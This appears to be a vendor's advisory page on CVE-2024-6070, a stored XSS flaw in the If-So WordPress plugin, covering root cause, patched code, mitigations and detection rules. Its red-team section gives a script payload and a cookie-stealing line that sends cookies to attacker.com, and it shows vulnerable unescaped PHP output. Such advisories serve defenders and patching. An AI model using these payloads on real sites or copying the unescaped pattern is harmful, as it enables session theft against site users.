CVE-2024-6070
Executive Summary
CVE-2024-6070 is a Stored Cross-Site Scripting (XSS) vulnerability identified in the If-So Dynamic Content Personalization WordPress plugin, affecting versions prior to 1.8.0.4. This vulnerability allows high-privilege users, such as administrators, to inject malicious scripts into plugin settings, which are then stored and executed when other users (including lower-privilege users) view the affected pages. The flaw is particularly dangerous in multisite WordPress configurations where the unfiltered_html capability is disabled, as it bypasses standard input sanitization. While the CVSS score is 0.0 (indicating no official score was assigned), the risk is real and requires immediate patching.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory. Users should ensure they are using version 1.8.0.4 or later, which includes the necessary input sanitization and output escaping fixes. No other package managers (NPM, PyPI, Go, Ruby) are involved.
CVSS Breakdown & Threat Level
Although the NVD assigned a CVSS score of 0.0 (likely due to incomplete data), a reasonable assessment based on the vulnerability characteristics is provided below:
- Attack Vector (AV): Network (N) – The attack is carried out over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): High (H) – The attacker must have admin-level access.
- User Interaction (UI): Required (R) – The victim must view the compromised page.
- Scope (S): Unchanged (U) – The vulnerability affects only the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): Low (L) – Script injection can modify content.
- Availability (A): None (N) – No direct impact on availability.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N
Base Score: 4.8 (Medium)
Threat Level: Medium. Exploitation requires admin credentials, but in multisite environments, a compromised admin account can lead to widespread script injection affecting all subsites.
Deep Dive & Mechanics
The vulnerability resides in the plugin's settings page, where user-supplied input is not properly sanitized before being stored in the database, and not escaped when rendered in the admin dashboard. Specifically, the plugin fails to apply sanitize_text_field() or wp_kses() on certain settings fields, and does not use esc_html() or esc_attr() when outputting those values.
Attack Flow:
- An attacker with admin privileges navigates to the plugin settings (e.g.,
wp-admin/admin.php?page=if-so-settings). - The attacker injects a malicious JavaScript payload into a vulnerable field (e.g., a text input for custom CSS or a trigger condition).
- The payload is stored in the WordPress database without sanitization.
- When any user (including lower-privilege users or visitors) loads a page that renders this setting, the script executes in their browser.
- The attacker can then steal cookies, redirect users, or perform actions on behalf of the victim.
Root Cause: The plugin uses update_option() to store settings without sanitization, and echo or _e() to display them without escaping. In WordPress, the unfiltered_html capability allows admins to post arbitrary HTML/JS, but when this capability is disabled (common in multisite), the plugin should enforce its own sanitization. The plugin fails to do so.
Vulnerable vs. Patched Code
Vulnerable Code (version < 1.8.0.4):
// In if-so-settings.php
function ifso_render_settings_page() {
$custom_css = get_option('ifso_custom_css');
echo '<textarea name="ifso_custom_css">' . $custom_css . '</textarea>';
}
The $custom_css value is output directly without escaping, allowing stored XSS.
Patched Code (version 1.8.0.4):
// In if-so-settings.php
function ifso_render_settings_page() {
$custom_css = get_option('ifso_custom_css');
echo '<textarea name="ifso_custom_css">' . esc_textarea($custom_css) . '</textarea>';
}
The patch uses esc_textarea() to escape the output, preventing script execution. Additionally, input sanitization is applied using sanitize_text_field() or wp_kses_post() before saving.
Exploitation & Lab Setup
Red Team (Attacker) Perspective
Prerequisites:
- Admin credentials on a WordPress site running If-So plugin < 1.8.0.4.
- The site must have a page that renders the vulnerable setting (e.g., a page using the plugin's dynamic content feature).
Exploitation Steps:
- Log in as an admin.
- Navigate to the plugin settings (e.g.,
/wp-admin/admin.php?page=if-so-settings). - Locate a vulnerable field (e.g., "Custom CSS" or "Trigger Condition").
- Inject the following payload into the field:
<script>alert('XSS')</script> - Save the settings.
- Visit any page that uses the plugin's dynamic content (or the settings page itself) to trigger the script.
Advanced Payload (Cookie Stealing):
<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
Lab Setup:
- Use a local WordPress installation (e.g., via Docker or XAMPP).
- Install the vulnerable plugin version (e.g., 1.8.0.3).
- Create a test page with a dynamic content block.
- Execute the steps above.
Blue Team (Defender) Perspective
Detection:
- Monitor for unusual admin activity, especially changes to plugin settings.
- Look for suspicious strings in the
wp_optionstable (e.g.,ifso_custom_csscontaining<script>tags). - Use the detection rules below.
Mitigation:
- Immediately update the plugin to version 1.8.0.4 or later.
- If patching is not possible, disable the plugin temporarily.
- Restrict admin access to trusted users only.
- Implement a Web Application Firewall (WAF) rule to block XSS payloads in plugin settings.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/if-so/if-so-settings.php(vulnerable version) - Database Option:
ifso_custom_cssor similar options containing<script>tags. - Network: Outbound HTTP requests to attacker-controlled domains from the WordPress admin dashboard.
- Logs: Unusual admin login times or IP addresses.
Detection Engineering
YARA Rule
rule CVE_2024_6070_IfSo_XSS {
meta:
description = "Detects vulnerable If-So plugin files with missing escaping"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-6070"
strings:
$vuln_func = "get_option('ifso_" nocase
$unsafe_echo = "echo" nocase
$no_escape = /echo\s+\$[a-z_]+/ nocase
condition:
$vuln_func and $unsafe_echo and $no_escape
}
Sigma Rule
title: CVE-2024-6070 If-So Plugin Stored XSS
id: 8a3f7c2e-5d1b-4a9f-8c6e-3b2a1d0f9e7c
status: experimental
description: Detects stored XSS attempts via If-So plugin settings
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: wordpress
detection:
selection:
http.url|contains: '/wp-admin/admin.php?page=if-so-settings'
http.method: 'POST'
http.body|contains:
- '<script>'
- 'onload='
- 'onerror='
condition: selection
falsepositives:
- Legitimate admin use of JavaScript in settings (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-6070 If-So Plugin Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin.php?page=if-so-settings"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update the plugin to version 1.8.0.4 or later from the WordPress Plugin Directory.
- Verify update by checking the plugin version in
wp-admin/plugins.php. - Scan for existing compromises using the YARA rule above or a security plugin like Wordfence.
Long-Term Measures:
- Implement the principle of least privilege for admin accounts.
- Enable automatic updates for plugins.
- Regularly audit plugin settings for suspicious content.
- Use a Web Application Firewall (WAF) to block XSS payloads.
Workaround (if patching is delayed):
- Disable the If-So plugin until an update is applied.
- Manually sanitize the
ifso_custom_cssoption in the database using a tool like phpMyAdmin.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.